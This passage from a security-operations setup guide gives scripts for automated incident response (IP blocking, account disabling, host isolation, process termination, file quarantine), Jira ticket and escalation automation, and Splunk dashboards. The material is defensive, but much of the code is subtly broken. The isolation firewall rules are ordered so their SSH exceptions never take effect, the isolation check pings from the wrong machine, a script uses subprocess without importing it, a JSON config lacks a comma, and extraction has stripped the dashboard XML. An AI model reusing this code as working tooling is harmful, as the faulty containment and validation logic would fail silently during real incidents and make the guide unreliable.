# Export report in various formats
if format == 'json':
return json.dumps(report, indent=2)
elif format == 'csv':
return self.convert_to_csv(report)
elif format == 'pdf':
return self.convert_to_pdf(report)
else:
return str(report)

def send_report(self, report, recipients):
# Send report to stakeholders
try:
# Email configuration
email_data = {
'to': recipients,
'subject': f"Threat Intelligence Report - {report['report_date']}",
'body': self.format_report_email(report)
}

# Send email (implementation depends on email service)
print(f"Report sent to {recipients}")
return True
except Exception as e:
print(f"Error sending report: {e}")
return False

# Make script executable
sudo chmod +x /opt/threatintel/bin/intel_reporter.py
```

Chapter 13: Automated Response Implementation

13.1 Response Automation Overview

Implement comprehensive automated responses to security threats to reduce response time, minimize the impact of security incidents, and improve overall security posture. Automated responses should be carefully designed to avoid false positives and unintended consequences.

```
# Create automated response system
sudo mkdir -p /opt/soc/automation/{scripts,config,logs}
sudo chown -R socadmin:soc /opt/soc/automation

# Create response automation configuration
sudo nano /opt/soc/automation/config/response_config.json

# Configuration content:
{
"response_levels": {
"low": {
"actions": ["log", "alert"],
"timeout": 300
},
"medium": {
"actions": ["log", "alert", "block_ip"],
"timeout": 600
},
"high": {
"actions": ["log", "alert", "block_ip", "disable_user", "isolate_host"],
"timeout": 900
},
"critical": {
"actions": ["log", "alert", "block_ip", "disable_user", "isolate_host",
"emergency_response"],
"timeout": 1200
}
},
"notification_channels": [
"email",
"slack",
"jira",
"sms"
],
"approval_required": {
"user_disable": true,
"host_isolation": true,
"emergency_response": true
}
}
```

13.2 IP Blocking Automation

Automatically block malicious IP addresses when threats are detected. This response can be implemented through firewall rules, network access controls, and integration with security appliances.

```
#!/bin/bash
# Enhanced IP Blocking Script
MALICIOUS_IP=$1
THREAT_TYPE=$2
SEVERITY=$3

# Configuration
BLOCK_DURATION=${4:-3600} # Default 1 hour
LOG_FILE="/var/log/soc/ip_blocks.log"
FIREWALL_CHAIN="SOC_BLOCKS"

# Create firewall chain if it doesn't exist
sudo iptables -L $FIREWALL_CHAIN >/dev/null 2>&1 || sudo iptables -N
$FIREWALL_CHAIN

# Add IP to block list
sudo iptables -A $FIREWALL_CHAIN -s $MALICIOUS_IP -j DROP

# Add to INPUT chain
sudo iptables -A INPUT -j $FIREWALL_CHAIN

# Log the action
echo "$(date): Blocked IP $MALICIOUS_IP - Threat: $THREAT_TYPE - Severity:
$SEVERITY" >> $LOG_FILE

# Create Jira ticket
python3 /opt/soc/scripts/jira_integration.py \
--summary "IP Blocked: $MALICIOUS_IP" \
--description "Automatically blocked malicious IP address. Threat:
$THREAT_TYPE" \

--severity "$SEVERITY" \

--source-ip "$MALICIOUS_IP"

# Send notification

python3 /opt/soc/automation/scripts/notify.py \

--channel "slack" \

--message "■ IP $MALICIOUS_IP blocked due to $THREAT_TYPE"

# Schedule unblock (optional)

if [ $BLOCK_DURATION -gt 0 ]; then

echo "sudo iptables -D $FIREWALL_CHAIN -s $MALICIOUS_IP -j DROP" | at now +
$BLOCK_DURATION seconds

fi
```

13.3 User Account Management

Automatically disable compromised user accounts to prevent further unauthorized access and privilege escalation attempts. This includes account locking, session termination, and access revocation.

```
#!/bin/bash

# Enhanced User Account Management Script

COMPROMISED_USER=$1

REASON=$2

SEVERITY=${3:-High}

# Configuration

LOG_FILE="/var/log/soc/user_actions.log"

BACKUP_DIR="/opt/soc/backups/users"

# Create backup of user data

sudo mkdir -p $BACKUP_DIR

sudo tar -czf $BACKUP_DIR/${COMPROMISED_USER}_$(date +%Y%m%d_%H%M%S).tar.gz
/home/$COMPROMISED_USER 2>/dev/null

# Disable user account

sudo usermod -L $COMPROMISED_USER

# Kill all user sessions

sudo pkill -u $COMPROMISED_USER

# Revoke SSH keys

sudo rm -f /home/$COMPROMISED_USER/.ssh/authorized_keys
sudo rm -f /home/$COMPROMISED_USER/.ssh/id_rsa*

# Log the action

echo "$(date): Disabled user $COMPROMISED_USER - Reason: $REASON - Severity:
$SEVERITY" >> $LOG_FILE

# Create Jira ticket

python3 /opt/soc/scripts/jira_integration.py \

--summary "User Disabled: $COMPROMISED_USER" \

--description "Automatically disabled compromised user account. Reason:
$REASON" \

--severity "$SEVERITY" \

--affected-user "$COMPROMISED_USER"

# Send notification

python3 /opt/soc/automation/scripts/notify.py \

--channel "email" \

--message "User $COMPROMISED_USER disabled due to $REASON"

# Notify security team

python3 /opt/soc/automation/scripts/notify.py \

--channel "slack" \

--message "■ User $COMPROMISED_USER disabled - $REASON"
```

13.4 Host Isolation Automation

Automatically isolate compromised hosts from the network to prevent lateral movement and contain security incidents. This includes network isolation, process containment, and monitoring setup.

```
#!/bin/bash

# Host Isolation Script

COMPROMISED_HOST=$1

REASON=$2

ISOLATION_LEVEL=${3:-full}

# Configuration

LOG_FILE="/var/log/soc/host_isolation.log"

MONITORING_DIR="/opt/soc/monitoring/isolated"

# Create isolation monitoring directory

sudo mkdir -p $MONITORING_DIR

# Full isolation (block all traffic except management)

if [ "$ISOLATION_LEVEL" = "full" ]; then
```

```
# Block all outbound traffic except management IPs
sudo iptables -A OUTPUT -d $COMPROMISED_HOST -j DROP
sudo iptables -A INPUT -s $COMPROMISED_HOST -j DROP

# Allow only management access
sudo iptables -A INPUT -s $COMPROMISED_HOST -p tcp --dport 22 -j ACCEPT
sudo iptables -A OUTPUT -d $COMPROMISED_HOST -p tcp --sport 22 -j ACCEPT
fi

# Partial isolation (block specific ports)
if [ "$ISOLATION_LEVEL" = "partial" ]; then
# Block common attack ports
sudo iptables -A INPUT -s $COMPROMISED_HOST -p tcp --dport 80 -j DROP
sudo iptables -A INPUT -s $COMPROMISED_HOST -p tcp --dport 443 -j DROP
sudo iptables -A INPUT -s $COMPROMISED_HOST -p tcp --dport 3389 -j DROP
fi

# Set up enhanced monitoring
sudo tcpdump -i any host $COMPROMISED_HOST -w
$MONITORING_DIR/${COMPROMISED_HOST}_$(date +%Y%m%d_%H%M%S).pcap &

# Log the action
echo "$(date): Isolated host $COMPROMISED_HOST - Reason: $REASON - Level:
$ISOLATION_LEVEL" >> $LOG_FILE

# Create Jira ticket
python3 /opt/soc/scripts/jira_integration.py \
--summary "Host Isolated: $COMPROMISED_HOST" \
--description "Automatically isolated compromised host. Reason: $REASON" \
--severity "Critical" \
--source-ip "$COMPROMISED_HOST"

# Send emergency notification
python3 /opt/soc/automation/scripts/notify.py \
--channel "sms" \
--message "■ HOST ISOLATED: $COMPROMISED_HOST - $REASON"
```

13.5 Process Termination Automation

Automatically terminate malicious processes to stop active attacks and prevent further damage. This includes process identification, safe termination, and cleanup procedures.

```
#!/bin/bash

# Process Termination Script
```

```
MALICIOUS_PID=$1

PROCESS_NAME=$2

REASON=$3

# Configuration

LOG_FILE="/var/log/soc/process_terminations.log"

BACKUP_DIR="/opt/soc/backups/processes"

# Create backup directory

sudo mkdir -p $BACKUP_DIR

# Get process information

PROC_INFO=$(ps -p $MALICIOUS_PID -o pid,ppid,cmd,user --no-headers)

PROC_USER=$(echo $PROC_INFO | awk '{print $4}')

# Create process dump for analysis

sudo gcore -o $BACKUP_DIR/process_${MALICIOUS_PID}_$(date +%Y%m%d_%H%M%S)
$MALICIOUS_PID 2>/dev/null

# Terminate process safely

sudo kill -TERM $MALICIOUS_PID

# Wait for graceful termination

sleep 5

# Force kill if still running

if kill -0 $MALICIOUS_PID 2>/dev/null; then

sudo kill -KILL $MALICIOUS_PID

echo "$(date): Force killed process $MALICIOUS_PID" >> $LOG_FILE

fi

# Log the action

echo "$(date): Terminated process $MALICIOUS_PID ($PROCESS_NAME) - User:
$PROC_USER - Reason: $REASON" >> $LOG_FILE

# Create Jira ticket

python3 /opt/soc/scripts/jira_integration.py \

--summary "Process Terminated: $PROCESS_NAME" \

--description "Automatically terminated malicious process. PID:
$MALICIOUS_PID, Reason: $REASON" \

--severity "Medium" \

--affected-user "$PROC_USER"

# Send notification

python3 /opt/soc/automation/scripts/notify.py \

--channel "slack" \
--message "■ Process $PROCESS_NAME (PID: $MALICIOUS_PID) terminated -
$REASON"
```

13.6 File Quarantine Automation

Automatically quarantine malicious files to prevent execution and spread. This includes file identification, safe quarantine, and analysis preparation.

```
#!/bin/bash

# File Quarantine Script

MALICIOUS_FILE=$1

FILE_TYPE=$2

REASON=$3

# Configuration

QUARANTINE_DIR="/opt/soc/quarantine"

LOG_FILE="/var/log/soc/file_quarantine.log"

ANALYSIS_DIR="/opt/soc/analysis"

# Create quarantine directory

sudo mkdir -p $QUARANTINE_DIR

sudo mkdir -p $ANALYSIS_DIR

# Generate quarantine filename

QUARANTINE_NAME="$(basename $MALICIOUS_FILE)_$(date +%Y%m%d_%H%M%S)_$(md5sum
$MALICIOUS_FILE | cut -d' ' -f1)"

QUARANTINE_PATH="$QUARANTINE_DIR/$QUARANTINE_NAME"

# Create file backup

sudo cp $MALICIOUS_FILE $QUARANTINE_PATH

# Remove execute permissions

sudo chmod 644 $QUARANTINE_PATH

# Remove original file

sudo rm -f $MALICIOUS_FILE

# Log the action

echo "$(date): Quarantined file $MALICIOUS_FILE to $QUARANTINE_PATH - Type:
$FILE_TYPE - Reason: $REASON" >> $LOG_FILE

# Create analysis job

echo "$QUARANTINE_PATH|$FILE_TYPE|$REASON" >>
$ANALYSIS_DIR/pending_analysis.txt

# Create Jira ticket

python3 /opt/soc/scripts/jira_integration.py \
--summary "File Quarantined: $(basename $MALICIOUS_FILE)" \
--description "Automatically quarantined malicious file. Type: $FILE_TYPE,
Reason: $REASON" \
--severity "Medium"

# Send notification
python3 /opt/soc/automation/scripts/notify.py \
--channel "slack" \
--message "■ File $(basename $MALICIOUS_FILE) quarantined - $FILE_TYPE -
$REASON"

# Trigger automated analysis
python3 /opt/soc/automation/scripts/analyze_file.py --file $QUARANTINE_PATH
```

13.7 Response Orchestration

Orchestrate multiple automated responses to create comprehensive incident response workflows. This includes response sequencing, dependency management, and rollback capabilities.

```
#!/usr/bin/env python3
# Response Orchestration Script
import json
import subprocess
import time
from datetime import datetime
import logging

class ResponseOrchestrator:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.setup_logging()

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/orchestration.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def execute_response_workflow(self, incident_data):
# Execute comprehensive response workflow
```

```
workflow_id = f"workflow_{datetime.now().strftime('%Y%m%d_%H%M%S')}"
self.logger.info(f"Starting response workflow: {workflow_id}")

try:
# Step 1: Immediate containment
self.contain_threat(incident_data)

# Step 2: Evidence collection
self.collect_evidence(incident_data)

# Step 3: Threat eradication
self.eradicate_threat(incident_data)

# Step 4: System recovery
self.recover_system(incident_data)

# Step 5: Post-incident analysis
self.analyze_incident(incident_data)

self.logger.info(f"Workflow {workflow_id} completed successfully")
return True
except Exception as e:
self.logger.error(f"Workflow {workflow_id} failed: {e}")
self.rollback_actions(workflow_id)
return False

def contain_threat(self, incident_data):
# Contain the threat
self.logger.info("Executing threat containment")

# Block malicious IPs
for ip in incident_data.get('malicious_ips', []):
subprocess.run([
'/opt/soc/automation/scripts/block_ip.sh',
ip, 'automated_response', 'Medium'
])

# Isolate compromised hosts
for host in incident_data.get('compromised_hosts', []):
subprocess.run([
'/opt/soc/automation/scripts/isolate_host.sh',
host, 'automated_response', 'full'
])

def collect_evidence(self, incident_data):
```

```
# Collect evidence for analysis
self.logger.info("Collecting evidence")

# Create evidence collection script
evidence_script = f"""
#!/bin/bash
EVIDENCE_DIR="/opt/soc/evidence/{incident_data.get('incident_id',
'unknown')}"
sudo mkdir -p $EVIDENCE_DIR

# Collect system information
sudo dmesg > $EVIDENCE_DIR/dmesg.log
sudo ps aux > $EVIDENCE_DIR/processes.log
sudo netstat -tuln > $EVIDENCE_DIR/network.log

# Collect log files
sudo cp /var/log/*.log $EVIDENCE_DIR/ 2>/dev/null
sudo cp /var/log/syslog $EVIDENCE_DIR/ 2>/dev/null

# Create evidence archive
sudo tar -czf $EVIDENCE_DIR/evidence_$(date +%Y%m%d_%H%M%S).tar.gz
$EVIDENCE_DIR/*
"""

# Execute evidence collection
subprocess.run(['bash', '-c', evidence_script])

def eradicate_threat(self, incident_data):
# Eradicate the threat
self.logger.info("Executing threat eradication")

# Terminate malicious processes
for process in incident_data.get('malicious_processes', []):
subprocess.run([
'/opt/soc/automation/scripts/terminate_process.sh',
str(process['pid']), process['name'], 'automated_response'
])

# Quarantine malicious files
for file in incident_data.get('malicious_files', []):
subprocess.run([
'/opt/soc/automation/scripts/quarantine_file.sh',
file['path'], file['type'], 'automated_response'
])
```

```
def recover_system(self, incident_data):
# Recover system to normal operation
self.logger.info("Executing system recovery")

# Restore from backups if necessary
if incident_data.get('requires_restore', False):
subprocess.run(['/opt/soc/automation/scripts/restore_system.sh'])

# Restart critical services
subprocess.run(['sudo', 'systemctl', 'restart', 'critical-service'])

def analyze_incident(self, incident_data):
# Analyze the incident
self.logger.info("Executing incident analysis")

# Generate incident report
subprocess.run([
'/opt/soc/automation/scripts/generate_report.py',
'--incident-id', incident_data.get('incident_id', 'unknown')
])

def rollback_actions(self, workflow_id):
# Rollback automated actions if needed
self.logger.info(f"Rolling back actions for workflow: {workflow_id}")

# Implementation for rollback procedures
pass

# Make script executable
sudo chmod +x /opt/soc/automation/scripts/orchestrator.py
```

13.8 Response Monitoring and Validation

Monitor and validate automated responses to ensure they are working correctly and achieving the desired outcomes. This includes response validation, effectiveness measurement, and continuous improvement.

```
#!/usr/bin/env python3
# Response Monitoring and Validation Script
import json
import time
import requests
from datetime import datetime, timedelta
import logging
```

```
class ResponseMonitor:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.setup_logging()

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/response_monitoring.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def validate_ip_block(self, blocked_ip):
# Validate that IP block is working
try:
# Test connectivity to blocked IP
response = requests.get(f"http://{blocked_ip}", timeout=5)
if response.status_code == 200:
self.logger.warning(f"IP block validation failed for {blocked_ip}")
return False
except:
self.logger.info(f"IP block validation successful for {blocked_ip}")
return True

def validate_user_disable(self, disabled_user):
# Validate that user account is disabled
try:
# Check if user can still login
result = subprocess.run([
'sudo', 'su', '-', disabled_user, '-c', 'echo test'
], capture_output=True, text=True)

if result.returncode == 0:
self.logger.warning(f"User disable validation failed for {disabled_user}")
return False
else:
self.logger.info(f"User disable validation successful for {disabled_user}")
return True
except Exception as e:
```

```
self.logger.error(f"Error validating user disable: {e}")
return False

def validate_host_isolation(self, isolated_host):
# Validate that host isolation is working
try:
# Test network connectivity from isolated host
result = subprocess.run([
'ping', '-c', '3', '8.8.8.8'
], capture_output=True, text=True)

if result.returncode == 0:
self.logger.warning(f"Host isolation validation failed for {isolated_host}")
return False
else:
self.logger.info(f"Host isolation validation successful for {isolated_host}")
return True
except Exception as e:
self.logger.error(f"Error validating host isolation: {e}")
return False

def measure_response_effectiveness(self, incident_data):
# Measure the effectiveness of automated responses
effectiveness_metrics = {
'response_time': self.calculate_response_time(incident_data),
'containment_success': self.check_containment_success(incident_data),
'eradication_success': self.check_eradication_success(incident_data),
'false_positive_rate': self.calculate_false_positive_rate(),
'mean_time_to_resolution': self.calculate_mttr()
}

return effectiveness_metrics

def generate_effectiveness_report(self, metrics):
# Generate effectiveness report
report = {
'report_date': datetime.now().isoformat(),
'metrics': metrics,
'recommendations': self.generate_recommendations(metrics)
}

return report
```

```
def generate_recommendations(self, metrics):
# Generate recommendations based on metrics
recommendations = []

if metrics['response_time'] > 300: # 5 minutes
recommendations.append({
'priority': 'High',
'recommendation': 'Optimize response automation for faster execution',
'rationale': 'Response time exceeds acceptable threshold'
})

if metrics['false_positive_rate'] > 0.05: # 5%
recommendations.append({
'priority': 'Medium',
'recommendation': 'Review and refine detection rules',
'rationale': 'False positive rate is too high'
})

return recommendations

# Make script executable
sudo chmod +x /opt/soc/automation/scripts/response_monitor.py
```

Chapter 14: Jira Incident Management

14.1 Incident Management Overview

Implement comprehensive incident management workflows using Jira to streamline security incident response, tracking, and resolution. This includes automated ticket creation, workflow management, and team collaboration.

```
# Create Jira incident management system
sudo mkdir -p /opt/soc/jira/{workflows,templates,automation}
sudo chown -R socadmin:soc /opt/soc/jira

# Create incident management configuration
sudo nano /opt/soc/jira/config/incident_config.json

# Configuration content:
{
"jira_project": "SEC",
"incident_types": {
"malware": {
"priority": "High",
"assignee": "security-team",
"components": ["malware-analysis", "containment"]
},
"phishing": {
"priority": "Medium",
"assignee": "security-team",
"components": ["user-awareness", "email-security"]
},
"data_breach": {
"priority": "Critical",
"assignee": "incident-response",
"components": ["data-protection", "legal", "communications"]
},
"network_attack": {
"priority": "High",
"assignee": "network-security",
"components": ["network-defense", "threat-hunting"]
}
},
"escalation_rules": {
"critical": "immediate",
"high": "2_hours",
"medium": "4_hours",
"low": "24_hours"
}
"notification_channels": [
"email",
"slack",
"sms",
"pagerduty"
]
}
```

14.2 Incident Workflow Design

Design comprehensive incident response workflows that guide security teams through standardized procedures for different types of security incidents.

```
#!/usr/bin/env python3
# Incident Workflow Design Script
import json
import requests
from datetime import datetime

class IncidentWorkflowDesigner:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)

def create_incident_workflow(self, incident_type):
# Create workflow for specific incident type
workflows = {
'malware': self.create_malware_workflow,
'phishing': self.create_phishing_workflow,
'data_breach': self.create_data_breach_workflow,
'network_attack': self.create_network_attack_workflow
}

if incident_type in workflows:
return workflows[incident_type]()
```

```
else:
return self.create_generic_workflow()

def create_malware_workflow(self):
# Create malware incident workflow
workflow = {
'name': 'Malware Incident Response',
'stages': [
{
'name': 'Detection & Triage',
'duration': '15_minutes',
'actions': [
'Confirm malware detection',
'Assess scope and impact',
'Create incident ticket',
'Notify security team'
]
},
{
'name': 'Containment',
'duration': '30_minutes',
'actions': [
'Isolate affected systems',
'Block malicious IPs/domains',
'Disable compromised accounts',
'Update firewall rules'
]
},
{
'name': 'Investigation',
'duration': '2_hours',
'actions': [
'Analyze malware samples',
'Determine attack vector',
'Identify affected systems',
'Document findings'
]
},
{
```

```
'name': 'Eradication',
'duration': '1_hour',
'actions': [
'Remove malware from systems',
'Patch vulnerabilities',
'Update security controls',
'Verify eradication'
]
},
{
'name': 'Recovery',
'duration': '2_hours',
'actions': [
'Restore affected systems',
'Verify system integrity',
'Monitor for re-infection',
'Update documentation'
]
},
{
'name': 'Post-Incident',
'duration': '1_day',
'actions': [
'Conduct lessons learned',
'Update procedures',
'Improve detection capabilities',
'Generate incident report'
]
}
]
}
return workflow
```

```
# Make script executable
sudo chmod +x /opt/soc/jira/automation/workflow_designer.py
```

14.3 Automated Ticket Creation

Automate the creation and management of incident tickets based on security alerts and events. This includes intelligent ticket routing, priority assignment, and template-based ticket creation.

```
#!/usr/bin/env python3

# Automated Ticket Creation Script

import json

import requests

from datetime import datetime

import logging

class AutomatedTicketCreator:

def __init__(self, config_file):

with open(config_file, 'r') as f:

self.config = json.load(f)

self.setup_logging()

def setup_logging(self):

logging.basicConfig(

filename='/var/log/soc/ticket_creation.log',

level=logging.INFO,

format='%(asctime)s - %(levelname)s - %(message)s'

)

self.logger = logging.getLogger(__name__)

def create_incident_ticket(self, alert_data):

# Create incident ticket from alert data

try:

# Determine incident type

incident_type = self.determine_incident_type(alert_data)

# Generate ticket data

ticket_data = {

'project': self.config['jira_project'],

'summary': self.generate_summary(alert_data),

'description': self.generate_description(alert_data),

'issuetype': 'Incident',

'priority': self.determine_priority(alert_data),

'assignee': self.determine_assignee(incident_type),

'components': self.determine_components(incident_type),

'labels': self.generate_labels(alert_data)

}
```

```
# Create ticket in Jira
response = self.create_jira_ticket(ticket_data)

if response:
self.logger.info(f"Created incident ticket: {response['key']}")
return response
else:
self.logger.error("Failed to create incident ticket")
return None
except Exception as e:
self.logger.error(f"Error creating incident ticket: {e}")
return None

def determine_incident_type(self, alert_data):
# Determine incident type based on alert data
alert_message = alert_data.get('message', '').lower()

if any(keyword in alert_message for keyword in ['malware', 'virus',
'trojan']):
return 'malware'
elif any(keyword in alert_message for keyword in ['phishing',
'suspicious_email']):
return 'phishing'
elif any(keyword in alert_message for keyword in ['data_breach',
'unauthorized_access']):
return 'data_breach'
elif any(keyword in alert_message for keyword in ['network_attack', 'ddos']):
return 'network_attack'
else:
return 'security_alert'

def generate_summary(self, alert_data):
# Generate ticket summary
incident_type = self.determine_incident_type(alert_data)
source_ip = alert_data.get('source_ip', 'Unknown')
severity = alert_data.get('severity', 'Medium')

return f"{incident_type.title()} Incident - {severity} - Source: {source_ip}"

def generate_description(self, alert_data):
# Generate detailed ticket description
description = f"""
h2. Incident Details
```

```
h3. Alert Information
* **Alert ID:** {alert_data.get('alert_id', 'N/A')}
* **Timestamp:** {alert_data.get('timestamp', 'N/A')}
* **Severity:** {alert_data.get('severity', 'N/A')}
* **Source IP:** {alert_data.get('source_ip', 'N/A')}
* **Destination IP:** {alert_data.get('destination_ip', 'N/A')}
* **Affected User:** {alert_data.get('affected_user', 'N/A')}

h3. Alert Message
{alert_data.get('message', 'No message provided')}

h3. Technical Details
* **MITRE Technique:** {alert_data.get('mitre_technique', 'N/A')}
* **Detection Rule:** {alert_data.get('detection_rule', 'N/A')}
* **Confidence Score:** {alert_data.get('confidence_score', 'N/A')}

h3. Initial Response Actions
* [ ] Assess incident scope and impact
* [ ] Contain threat if necessary
* [ ] Collect evidence and logs
* [ ] Notify appropriate stakeholders
* [ ] Begin investigation

h3. Additional Information
This ticket was automatically created by the SOC automation system.
Please update with investigation findings and response actions.
"""

return description

def determine_priority(self, alert_data):
# Determine ticket priority based on alert severity
severity = alert_data.get('severity', 'Medium').lower()

priority_mapping = {
'critical': 'Critical',
'high': 'High',
'medium': 'Medium',
'low': 'Low'
}

return priority_mapping.get(severity, 'Medium')

def determine_assignee(self, incident_type):
```

```
# Determine ticket assignee based on incident type
assignee_mapping = {
'malware': 'malware-team',
'phishing': 'security-team',
'data_breach': 'incident-response',
'network_attack': 'network-security',
'security_alert': 'security-team'
}

return assignee_mapping.get(incident_type, 'security-team')

def determine_components(self, incident_type):
# Determine ticket components based on incident type
component_mapping = {
'malware': ['malware-analysis', 'containment'],
'phishing': ['user-awareness', 'email-security'],
'data_breach': ['data-protection', 'legal'],
'network_attack': ['network-defense', 'threat-hunting'],
'security_alert': ['security-monitoring']
}

return component_mapping.get(incident_type, ['security-monitoring'])

def generate_labels(self, alert_data):
# Generate ticket labels
labels = [
'automated-creation',
f"severity-{alert_data.get('severity', 'medium').lower()}",
f"type-{self.determine_incident_type(alert_data)}"
]

if alert_data.get('mitre_technique'):
labels.append(f"mitre-{alert_data['mitre_technique']}")

return labels

def create_jira_ticket(self, ticket_data):
# Create ticket in Jira via API
try:
jira_url = self.config.get('jira_url')
auth_token = self.config.get('auth_token')

headers = {
```

```
'Authorization': f'Bearer {auth_token}',
'Content-Type': 'application/json'
}

response = requests.post(
f"{jira_url}/rest/api/2/issue",
json={'fields': ticket_data},
headers=headers
)

if response.status_code == 201:
return response.json()
else:
self.logger.error(f"Failed to create ticket: {response.text}")
return None
except Exception as e:
self.logger.error(f"Error creating Jira ticket: {e}")
return None

# Make script executable
sudo chmod +x /opt/soc/jira/automation/ticket_creator.py
```

14.4 Incident Escalation Management

Implement automated escalation procedures to ensure critical incidents receive appropriate attention and response within defined timeframes.

```
#!/usr/bin/env python3
# Incident Escalation Management Script
import json
import time
from datetime import datetime, timedelta
import requests
import logging

class IncidentEscalationManager:
def __init__(self, config_file):
with open(config_file, 'r') as f:
self.config = json.load(f)
self.setup_logging()

def setup_logging(self):
logging.basicConfig(
filename='/var/log/soc/escalation.log',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s'
)
self.logger = logging.getLogger(__name__)

def check_escalation_needed(self, ticket_data):
# Check if escalation is needed based on ticket data
priority = ticket_data.get('priority', 'Medium')
created_time = datetime.fromisoformat(ticket_data.get('created', ''))
current_time = datetime.now()

# Get escalation rules
escalation_rules = self.config.get('escalation_rules', {})
escalation_time = escalation_rules.get(priority.lower(), '24_hours')

# Calculate time difference
time_diff = current_time - created_time

# Check if escalation threshold is met
if self.should_escalate(time_diff, escalation_time):
return True

return False

def should_escalate(self, time_diff, escalation_time):
# Determine if escalation should occur
escalation_mapping = {
'immediate': timedelta(minutes=0),
'15_minutes': timedelta(minutes=15),
'30_minutes': timedelta(minutes=30),
'1_hour': timedelta(hours=1),
'2_hours': timedelta(hours=2),
'4_hours': timedelta(hours=4),
'8_hours': timedelta(hours=8),
'24_hours': timedelta(hours=24)
}

threshold = escalation_mapping.get(escalation_time, timedelta(hours=24))
return time_diff >= threshold

def escalate_incident(self, ticket_key, escalation_level):
# Escalate incident to next level
```

```
try:

escalation_data = {

'body': self.generate_escalation_comment(escalation_level),

'visibility': {'type': 'role', 'value': 'security-team'}

}

# Add escalation comment to ticket

self.add_comment_to_ticket(ticket_key, escalation_data)

# Update ticket priority if needed

if escalation_level == 'critical':

self.update_ticket_priority(ticket_key, 'Critical')

# Send escalation notifications

self.send_escalation_notifications(ticket_key, escalation_level)

self.logger.info(f"Escalated incident {ticket_key} to level
{escalation_level}")

return True

except Exception as e:

self.logger.error(f"Error escalating incident: {e}")

return False

def generate_escalation_comment(self, escalation_level):

# Generate escalation comment

comments = {

'immediate': "■ IMMEDIATE ESCALATION: Critical incident requires immediate
attention.",

'15_minutes': "■■ ESCALATION: Incident has been open for 15 minutes without
resolution.",

'30_minutes': "■■ ESCALATION: Incident has been open for 30 minutes without
resolution.",

'1_hour': "■■ ESCALATION: Incident has been open for 1 hour without
resolution.",

'2_hours': "■■ ESCALATION: Incident has been open for 2 hours without
resolution.",

'4_hours': "■■ ESCALATION: Incident has been open for 4 hours without
resolution.",

'8_hours': "■■ ESCALATION: Incident has been open for 8 hours without
resolution.",

'24_hours': "■■ ESCALATION: Incident has been open for 24 hours without
resolution."

}
```

```
return comments.get(escalation_level, "■■ ESCALATION: Incident requires
attention.")

def send_escalation_notifications(self, ticket_key, escalation_level):
# Send escalation notifications
notification_channels = self.config.get('notification_channels', [])

for channel in notification_channels:
if channel == 'email':
self.send_email_notification(ticket_key, escalation_level)
elif channel == 'slack':
self.send_slack_notification(ticket_key, escalation_level)
elif channel == 'sms':
self.send_sms_notification(ticket_key, escalation_level)
elif channel == 'pagerduty':
self.send_pagerduty_notification(ticket_key, escalation_level)

def send_slack_notification(self, ticket_key, escalation_level):
# Send Slack notification
try:
slack_webhook = self.config.get('slack_webhook')

message = {
'text': f"■ Incident Escalation: {ticket_key} - Level: {escalation_level}",
'attachments': [
{
'color': 'danger',
'fields': [
{
'title': 'Ticket Key',
'value': ticket_key,
'short': True
},
{
'title': 'Escalation Level',
'value': escalation_level,
'short': True
}
]
}
]
}

requests.post(slack_webhook, json=message)
self.logger.info(f"Sent Slack escalation notification for {ticket_key}")
except Exception as e:
self.logger.error(f"Error sending Slack notification: {e}")

# Make script executable
sudo chmod +x /opt/soc/jira/automation/escalation_manager.py
```

Chapter 15: Dashboard Implementation

15.1 Dashboard Overview

Implement comprehensive security dashboards to provide real-time visibility into security posture, threat landscape, and operational metrics. This includes Splunk dashboards, Wazuh dashboards, and custom visualization solutions.

```
# Create dashboard implementation system
sudo mkdir -p /opt/soc/dashboards/{splunk,wazuh,custom,templates}
sudo chown -R socadmin:soc /opt/soc/dashboards

# Create dashboard configuration
sudo nano /opt/soc/dashboards/config/dashboard_config.json

# Configuration content:
{
"dashboard_types": {
"security_overview": {
"title": "Security Operations Overview",
"refresh_interval": 30,
"panels": ["threat_summary", "incident_status", "system_health"]
},
"threat_monitoring": {
"title": "Real-time Threat Monitoring",
"refresh_interval": 15,
"panels": ["active_threats", "threat_trends", "mitre_coverage"]
},
"incident_management": {
"title": "Incident Management Dashboard",
"refresh_interval": 60,
"panels": ["open_incidents", "response_times", "escalation_status"]
},
"performance_metrics": {
"title": "SOC Performance Metrics",
"refresh_interval": 300,
"panels": ["mttr", "mttd", "false_positive_rate"]
}
},
"data_sources": [
"splunk_events",
"wazuh_alerts",
"jira_incidents",
"threat_intelligence"
],
"visualization_types": [
"charts",
"tables",
"maps",
"gauges",
"heatmaps"
]
}
```

15.2 Splunk Dashboard Implementation

Create comprehensive Splunk dashboards for security monitoring, threat detection, and operational visibility. This includes dashboard design, panel configuration, and search optimization.

```
# Create Splunk dashboard configuration
sudo nano
/opt/splunk/etc/apps/SOC_Dashboards/local/data/ui/views/security_overview.xml

# Security Overview Dashboard:

Security Operations Overview
Comprehensive security operations dashboard


Threat Summary


index=security_events | stats count by severity | sort -count


pie
bottom


Recent Security Events


index=security_events | head 10 | table _time, severity, source_ip, message
```

```
Top Attack Sources

index=security_events | stats count by source_ip | sort -count | head 10

column

MITRE ATT&CK; Coverage

index=security_events | stats count by mitre_technique | sort -count

bar



System Health Status

index=system_health | stats latest(status) as current_status

value
["0x65a637","0xf8be34","0xd93f3c"]
[0,50,100]
```

```
# Create dashboard JavaScript file
sudo nano
/opt/splunk/etc/apps/SOC_Dashboards/appserver/static/js/security_overview.js

# Dashboard JavaScript content:
require([
'jquery',
'splunkjs/mvc',
'splunkjs/mvc/utils',
'splunkjs/mvc/searchmanager',
'splunkjs/mvc/tableview',
'splunkjs/mvc/chartview'
], function($, mvc, utils, SearchManager, TableView, ChartView) {

// Initialize dashboard
var dashboard = mvc.createDashboard();

// Create search manager
var searchManager = new SearchManager({
id: "security_search",
app: utils.getCurrentApp(),
cache: false,
preview: false,
search: "index=security_events | stats count by severity"
});

// Create chart view
var chartView = new ChartView({
id: "threat_chart",
managerid: "security_search",
type: "pie",
el: $(document.body)
}).render();

// Auto-refresh dashboard
setInterval(function() {
searchManager.startSearch();
}, 30000);
